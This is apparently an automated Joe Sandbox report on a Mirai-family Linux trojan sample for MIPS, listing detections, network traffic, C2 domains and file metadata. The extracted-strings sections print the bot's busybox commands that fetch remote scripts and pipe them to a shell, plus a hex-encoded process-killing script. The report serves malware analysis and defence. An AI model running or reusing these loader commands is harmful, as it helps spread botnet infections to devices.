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Linux Analysis Report
nabmpsl.elf

Overview

General Information

Sample name:	nabmpsl.elf
Analysis ID:	1564354
MD5:	970baf976900229a7e4c1d38b0559c78
SHA1:	8e23509575631c83d1c28282622bde5d92454691
SHA256:	a9f0c2fa4b971cbec104901ecbb9b8ad3911747059e141fa0abab2dd06cf546b
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564354
Start date and time:	2024-11-28 08:47:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabmpsl.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/115@9/0

Runtime Messages

Command:	/tmp/nabmpsl.elf
PID:	6225
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

nabmpsl.elf (PID: 6225, Parent: 6142, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/nabmpsl.elf

nabmpsl.elf New Fork (PID: 6227, Parent: 6225)

nabmpsl.elf New Fork (PID: 6229, Parent: 6227)

nabmpsl.elf New Fork (PID: 6232, Parent: 6227)

nabmpsl.elf New Fork (PID: 6234, Parent: 6227)

cleanup

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: nabmpsl.elf	ReversingLabs: Detection: 31%
Source: nabmpsl.elf	Virustotal: Detection: 31%			Perma Link

Source: global traffic	TCP traffic: 154.213.187.242 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.213.187.245 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.213.187.248 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.23:47600 -> 154.213.187.245:38241
Source: global traffic	TCP traffic: 192.168.2.23:60286 -> 154.213.187.242:38241
Source: global traffic	TCP traffic: 192.168.2.23:41412 -> 154.213.187.248:38241

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 65.84.248.194
Source: unknown	TCP traffic detected without corresponding DNS query: 111.106.208.180
Source: unknown	TCP traffic detected without corresponding DNS query: 20.200.84.22
Source: unknown	TCP traffic detected without corresponding DNS query: 164.49.32.42
Source: unknown	TCP traffic detected without corresponding DNS query: 69.24.18.53
Source: unknown	TCP traffic detected without corresponding DNS query: 32.78.180.55
Source: unknown	TCP traffic detected without corresponding DNS query: 1.90.181.210
Source: unknown	TCP traffic detected without corresponding DNS query: 117.4.77.106
Source: unknown	TCP traffic detected without corresponding DNS query: 30.94.144.197
Source: unknown	TCP traffic detected without corresponding DNS query: 195.244.164.161
Source: unknown	TCP traffic detected without corresponding DNS query: 70.231.227.191
Source: unknown	TCP traffic detected without corresponding DNS query: 16.171.154.83
Source: unknown	TCP traffic detected without corresponding DNS query: 66.230.100.22
Source: unknown	TCP traffic detected without corresponding DNS query: 121.231.64.217
Source: unknown	TCP traffic detected without corresponding DNS query: 63.202.241.146
Source: unknown	TCP traffic detected without corresponding DNS query: 7.215.36.228
Source: unknown	TCP traffic detected without corresponding DNS query: 5.89.250.26
Source: unknown	TCP traffic detected without corresponding DNS query: 60.239.35.81
Source: unknown	TCP traffic detected without corresponding DNS query: 132.173.214.160
Source: unknown	TCP traffic detected without corresponding DNS query: 65.84.248.194
Source: unknown	TCP traffic detected without corresponding DNS query: 111.106.208.180
Source: unknown	TCP traffic detected without corresponding DNS query: 20.200.84.22
Source: unknown	TCP traffic detected without corresponding DNS query: 164.49.32.42
Source: unknown	TCP traffic detected without corresponding DNS query: 69.24.18.53
Source: unknown	TCP traffic detected without corresponding DNS query: 32.78.180.55
Source: unknown	TCP traffic detected without corresponding DNS query: 1.90.181.210
Source: unknown	TCP traffic detected without corresponding DNS query: 117.4.77.106
Source: unknown	TCP traffic detected without corresponding DNS query: 30.94.144.197
Source: unknown	TCP traffic detected without corresponding DNS query: 195.244.164.161
Source: unknown	TCP traffic detected without corresponding DNS query: 70.231.227.191
Source: unknown	TCP traffic detected without corresponding DNS query: 66.230.100.22
Source: unknown	TCP traffic detected without corresponding DNS query: 63.202.241.146
Source: unknown	TCP traffic detected without corresponding DNS query: 16.171.154.83
Source: unknown	TCP traffic detected without corresponding DNS query: 121.231.64.217
Source: unknown	TCP traffic detected without corresponding DNS query: 5.89.250.26
Source: unknown	TCP traffic detected without corresponding DNS query: 7.215.36.228
Source: unknown	TCP traffic detected without corresponding DNS query: 60.239.35.81
Source: unknown	TCP traffic detected without corresponding DNS query: 132.173.214.160
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 65.84.248.194
Source: unknown	TCP traffic detected without corresponding DNS query: 111.106.208.180
Source: unknown	TCP traffic detected without corresponding DNS query: 32.78.180.55
Source: unknown	TCP traffic detected without corresponding DNS query: 164.49.32.42
Source: unknown	TCP traffic detected without corresponding DNS query: 20.200.84.22
Source: unknown	TCP traffic detected without corresponding DNS query: 69.24.18.53
Source: unknown	TCP traffic detected without corresponding DNS query: 1.90.181.210
Source: unknown	TCP traffic detected without corresponding DNS query: 117.4.77.106
Source: unknown	TCP traffic detected without corresponding DNS query: 30.94.144.197

Source: global traffic	DNS traffic detected: DNS query: burnthe.libre
Source: global traffic	DNS traffic detected: DNS query: netfags.geek. [malformed]

Source: nabmpsl.elf	String found in binary or memory: http:///curl.sh
Source: nabmpsl.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6252/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6252/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6251/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6251/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6254/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6254/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6254/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6254/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6253/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6253/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6253/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6253/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6255/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6255/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6255/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6255/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6247/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6247/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6292/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6292/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6250/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6250/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6249/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6249/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6248/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6248/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6306/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 6232)	File opened: /proc/6306/cmdline	Jump to behavior

Source: nabmpsl.elf, 6225.1.00007ffedd049000.00007ffedd06a000.rw-.sdmp, nabmpsl.elf, 6229.1.00007ffedd049000.00007ffedd06a000.rw-.sdmp	Binary or memory string: $x86_64/usr/bin/qemu-mipsel/tmp/nabmpsl.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabmpsl.elf
Source: nabmpsl.elf, 6225.1.0000558f98a60000.0000558f98ae7000.rw-.sdmp, nabmpsl.elf, 6229.1.0000558f98a60000.0000558f98ae7000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: nabmpsl.elf, 6225.1.0000558f98a60000.0000558f98ae7000.rw-.sdmp, nabmpsl.elf, 6229.1.0000558f98a60000.0000558f98ae7000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: nabmpsl.elf, 6225.1.00007ffedd049000.00007ffedd06a000.rw-.sdmp, nabmpsl.elf, 6229.1.00007ffedd049000.00007ffedd06a000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
nabmpsl.elf	32%	ReversingLabs	Linux.Trojan.Mirai
nabmpsl.elf	31%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
burnthe.libre	154.213.187.247	true	false		high
netfags.geek. [malformed]	unknown	unknown	false		high

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabmpsl.elf	false		high
http:///curl.sh	nabmpsl.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
60.233.25.166	unknown	China	1221	ASN-TELSTRATelstraCorporationLtdAU	false
53.77.234.154	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
27.219.147.71	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
66.230.100.22	unknown	United States	7782	ALSK-7782US	false
213.191.144.216	unknown	Croatia (LOCAL Name: Hrvatska)	13046	ASN-ISKONHEPHR	false
176.235.181.152	unknown	Turkey	34984	TELLCOM-ASTR	false
142.141.70.51	unknown	Canada	808	GONET-ASN-1CA	false
220.142.95.201	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
105.38.84.212	unknown	Egypt	37069	MOBINILEG	false
138.76.34.174	unknown	United States	30013	PIXAR-ASUS	false
208.39.116.30	unknown	United States	11303	DATARETURNUS	false
213.144.125.122	unknown	Turkey	25145	TEKNOTEL-ASTeknotelTelekomunikasyonASTR	false
34.112.7.35	unknown	United States	19527	GOOGLE-2US	false
13.207.155.153	unknown	United States	7018	ATT-INTERNET4US	false
83.36.146.49	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
44.121.53.16	unknown	United States	7377	UCSDUS	false
64.1.243.159	unknown	United States	2828	XO-AS15US	false
201.40.135.95	unknown	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
86.129.95.47	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
115.143.40.106	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
117.4.77.106	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
35.250.19.171	unknown	United States	3549	LVLT-3549US	false
116.193.156.190	unknown	Malaysia	56111	AGARTO-MYAgartoSdnBhdMY	false
214.35.44.84	unknown	United States	668	DNIC-AS-00668US	false
130.149.175.145	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
56.131.248.63	unknown	United States	2686	ATGS-MMD-ASUS	false
175.155.251.15	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
82.178.152.67	unknown	Oman	28885	OMANTEL-NAP-ASOmanTelNAPOM	false
221.101.108.198	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
4.112.94.14	unknown	United States	3356	LEVEL3US	false
146.192.95.219	unknown	Norway	5619	EVRY-NO	false
170.235.184.145	unknown	United States	11534	PHILA-SCHOOL-DISTRICTUS	false
18.33.230.103	unknown	United States	3	MIT-GATEWAYSUS	false
34.193.155.223	unknown	United States	14618	AMAZON-AESUS	false
144.114.86.164	unknown	United States	3634	SFASU-ASUS	false
195.244.164.161	unknown	Belgium	15383	AvenuedesArts-Kunstlaan21BE	false
215.226.139.103	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
222.142.102.135	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
65.18.49.10	unknown	United States	557	UMAINE-SYS-ASUS	false
202.161.19.188	unknown	Australia	7545	TPG-INTERNET-APTPGTelecomLimitedAU	false
44.233.171.208	unknown	United States	16509	AMAZON-02US	false
64.42.71.126	unknown	United States	7385	ALLSTREAMUS	false
66.210.115.233	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
170.60.24.69	unknown	Switzerland	15854	HP_WEBSERVICESDE	false
32.203.248.83	unknown	United States	2686	ATGS-MMD-ASUS	false
179.84.66.71	unknown	Brazil	26599	TELEFONICABRASILSABR	false
157.107.227.201	unknown	Japan	4685	ASAHI-NETAsahiNetJP	false
63.5.249.89	unknown	United States	701	UUNETUS	false
126.229.30.63	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
37.82.5.230	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
70.231.227.191	unknown	United States	7018	ATT-INTERNET4US	false
169.125.49.214	unknown	United States	37611	AfrihostZA	false
142.13.35.118	unknown	Canada	16796	MERLIN-NETCA	false
136.40.80.121	unknown	United States	16591	GOOGLE-FIBERUS	false
85.144.94.107	unknown	Netherlands	50266	TMOBILE-THUISNL	false
78.138.138.151	unknown	Russian Federation	28840	TATTELECOM-ASRU	false
205.88.54.91	unknown	United States	647	DNIC-ASBLK-00616-00665US	false
65.181.94.0	unknown	Hong Kong	4760	HKTIMS-APHKTLimitedHK	false
30.94.144.197	unknown	United States	7922	COMCAST-7922US	false
206.3.129.201	unknown	United States	174	COGENT-174US	false
143.14.17.228	unknown	United States	11003	PANDGUS	false
219.111.129.95	unknown	Japan	2527	SO-NETSo-netEntertainmentCorporationJP	false
202.12.18.192	unknown	China	23984	CONDUENTIND-AS-APCONDUENTBUSINESSSERVICESINDIALLPIN	false
132.173.214.160	unknown	United States	32982	DOE-HQUS	false
111.106.208.180	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
143.233.57.155	unknown	Greece	2546	ARIADNE-TAriadne-tNetworkEU	false
163.137.107.201	unknown	Japan	17516	NTTCOMWARENTTCOMWARECORPORATIONJP	false
163.147.176.190	unknown	Japan	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
19.11.142.204	unknown	United States	3	MIT-GATEWAYSUS	false
183.77.18.7	unknown	Japan	4685	ASAHI-NETAsahiNetJP	false
38.206.86.187	unknown	United States	9009	M247GB	false
204.113.116.108	unknown	United States	11663	SUG-1US	false
143.73.133.201	unknown	United States	1541	DNIC-ASBLK-01534-01546US	false
149.181.51.238	unknown	United Kingdom	87	INDIANA-ASUS	false
207.16.228.26	unknown	United States	701	UUNETUS	false
143.13.24.158	unknown	United States	11003	PANDGUS	false
205.229.255.143	unknown	United States	41666	PYROCLEANINGTheInstituteforPyrotechnicalCleaningEU	false
104.61.0.1	unknown	United States	7018	ATT-INTERNET4US	false
17.249.253.172	unknown	United States	714	APPLE-ENGINEERINGUS	false
20.200.84.22	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
77.6.223.183	unknown	Germany	6805	TDDE-ASN1DE	false
42.156.27.120	unknown	China	9824	JTCL-JP-ASJupiterTelecommunicationCoLtdJP	false
213.74.52.190	unknown	Turkey	34984	TELLCOM-ASTR	false
5.89.250.26	unknown	Italy	30722	VODAFONE-IT-ASNIT	false
60.218.77.42	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
197.204.142.15	unknown	Algeria	36947	ALGTEL-ASDZ	false
116.5.160.244	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
118.218.236.129	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
30.78.244.120	unknown	United States	7922	COMCAST-7922US	false
158.18.9.49	unknown	United States	5180	DNIC-ASBLK-05120-05376US	false
173.28.93.24	unknown	United States	30036	MEDIACOM-ENTERPRISE-BUSINESSUS	false
137.137.148.89	unknown	United States	668	DNIC-AS-00668US	false
65.131.234.110	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
222.183.103.52	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
94.206.182.38	unknown	United Arab Emirates	15802	DU-AS1AE	false
73.66.82.115	unknown	United States	7922	COMCAST-7922US	false
167.61.91.203	unknown	Uruguay	6057	AdministracionNacionaldeTelecomunicacionesUY	false
38.164.196.20	unknown	United States	174	COGENT-174US	false
40.136.186.182	unknown	United States	7029	WINDSTREAMUS	false
137.32.246.109	unknown	United States	721	DNIC-ASBLK-00721-00726US	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	nabx86.elf	Get hash	malicious	Unknown	Browse	154.213.187.213
	nabarm5.elf	Get hash	malicious	Unknown	Browse	154.213.187.249
	splppc.elf	Get hash	malicious	Unknown	Browse	154.213.187.214
	mpsl.elf	Get hash	malicious	Unknown	Browse	154.213.187.242
	nabppc.elf	Get hash	malicious	Unknown	Browse	154.213.187.242
	ppc.elf	Get hash	malicious	Unknown	Browse	154.213.187.213
	sh4.elf	Get hash	malicious	Unknown	Browse	154.213.187.214
	nabmips.elf	Get hash	malicious	Unknown	Browse	154.213.187.248
	nabarm.elf	Get hash	malicious	Unknown	Browse	154.213.187.245
	nabarm5.elf	Get hash	malicious	Unknown	Browse	154.213.187.242

Process:	/tmp/nabmpsl.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	255
Entropy (8bit):	3.1823903076004387
Encrypted:	false
SSDEEP:	3:hVIRBVVtQ9FQWUT5FFNFIXVPj/VVBDB3FQWUT5FFNF3VVvT/VVdf/FVdVcv/VVdP:URjVDF+VPj/VcDFnT/VDM/V+4D/VH
MD5:	A14ED2A0521A35660995A391AA61B010
SHA1:	0192318604804943B9D555CF6DB5879920CE36CA
SHA-256:	93F59D916CB2969DF3520A487CA0EF64EA742A68E7F72A381B2891142B13F176
SHA-512:	7CE2FD61DEC78024732056F242E60F7135A2BB6543D4859FDCFAB6505A545F7A20308F7B8D85E88E2115EFFF9224AB98A46D0492C5C86458B227DEE1ADC9EB44
Malicious:	false
Reputation:	low
Preview:	400000-40d000 r-xp 00000000 fd:00 531606 /tmp/..44d000-44e000 rw-p 0000d000 fd:00 531606 /tmp/..44e000-450000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.424122521031189
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabmpsl.elf
File size:	55'560 bytes
MD5:	970baf976900229a7e4c1d38b0559c78
SHA1:	8e23509575631c83d1c28282622bde5d92454691
SHA256:	a9f0c2fa4b971cbec104901ecbb9b8ad3911747059e141fa0abab2dd06cf546b
SHA512:	5e45ad920cb9303b6e56be1bb6e85f273b44c5923fe88675163c18b09c0a16e10d56e9102420d737c8ac85a650ad31e526414ab9a0a0183c32aa3a5d4f26c907
SSDEEP:	1536:ojIdVsZQ6Okp7af7vWMH6cXb3aWbaYwICpT3bsRe:ojIh667BST35
TLSH:	CE43A8497B718EEBD8AFCC37457D4B45348D820722A43BB57874E418F36A54F4AE38A8
File Content Preview:	.ELF....................`.@.4...........4. ...(...............@...@. ... .....................D...D.D...(...........Q.td...............................<.Q.'!......'.......................<.Q.'!... .........9'.. ........................<xQ.'!.............9

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	54960
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0xbd10	0x0	0x6	AX	16
.fini	PROGBITS	0x40be30	0xbe30	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x40be90	0xbe90	0xe90	0x0	0x2	A	16
.ctors	PROGBITS	0x44d000	0xd000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x44d008	0xd008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x44d010	0xd010	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x44d014	0xd014	0xd8	0x0	0x3	WA	4
.data	PROGBITS	0x44d0f0	0xd0f0	0x180	0x0	0x3	WA	16
.got	PROGBITS	0x44d270	0xd270	0x3d4	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x44d644	0xd644	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x44d670	0xd644	0x11b8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x774	0xd644	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0xd644	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0xcd20	0xcd20	5.5247	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xd000	0x44d000	0x44d000	0x644	0x1828	3.2967	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 08:47:43.683933973 CET	48251	53	192.168.2.23	202.61.197.122
Nov 28, 2024 08:47:43.925148964 CET	53	48251	202.61.197.122	192.168.2.23
Nov 28, 2024 08:47:55.471888065 CET	52449	53	192.168.2.23	152.53.15.127
Nov 28, 2024 08:47:55.717374086 CET	53	52449	152.53.15.127	192.168.2.23
Nov 28, 2024 08:48:07.965574980 CET	54808	53	192.168.2.23	202.61.197.122
Nov 28, 2024 08:48:08.212455034 CET	53	54808	202.61.197.122	192.168.2.23
